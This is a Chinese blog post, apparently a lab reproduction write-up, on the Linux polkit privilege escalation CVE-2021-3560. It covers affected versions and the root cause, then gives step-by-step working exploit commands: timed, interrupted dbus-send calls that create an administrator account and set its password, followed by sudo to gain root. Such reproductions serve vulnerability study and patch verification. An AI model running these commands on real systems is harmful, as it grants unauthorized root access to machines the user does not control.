提权:CVE-2021-3560

一、漏洞名称:

Linux Polkit权限提升漏洞

二、漏洞编号:

CVE-2021-3560

三、漏洞描述:

由于linux的polkit组件错误处理了异常情况,导致权限提升。该漏洞能够使普通用户获取到root权限。

四、影响版本:

目前已知的版本情况。

DistributionVulnerable?
RHEL 7No
RHEL 8Yes
Fedora 20 (or earlier)No
Fedora 21 (or later)Yes
Debian 10 (“buster”)No
Debian testing (“bullseye”)Yes
Ubuntu 18.04No
Ubuntu 20.04Yes

五、漏洞分析

当一个命令被发送到目标程序处理时,消息发送方会被分配一个唯一总线名称(感觉有点像sessionid的意思)。当需要polkit去做权限校验时,polkit会通过唯一总线名称去查询命令发送方的UID,如果此时唯一总线名称已经不存在了,polkit错误的处理了这种情况,默认UID为0即root用户的UID。

六、实验环境及准备:

RHEL8/unbuntu20.04.2虚拟机

七、复现步骤:

以普通用户登录系统
在这里插入图片描述
当前系统不存在boris用户
先ssh localhost查看命令执行需要的真实时间
在这里插入图片描述

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

在这里插入图片描述
取个中间值0.025s进行中断,多执行几次确保成功

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.025s ; kill $!

在这里插入图片描述

确认boris用户新建成功
在这里插入图片描述
注意:记住这边的uid,用于更换创建密码命令中的uid值。

同样的方法去设置密码,前提是生成密码的hash值(test就是密码)

openssl passwd -5 test

在这里插入图片描述

将生成的hash值替换到下面的命令中,同样先看下命令实际运行需要时间,然后取半
在这里插入图片描述

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$geGliwuzqzj8Kt8A$bldvU0ZBN.hEnK.MtlWDG1q9A8nnkJ422mJcPZP1Nz.' string:GoldenEye & sleep 0.0015s ; kill $!

在这里插入图片描述
boris用户创建成功,密码是test

sudo su 提权

在这里插入图片描述

提权成功!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值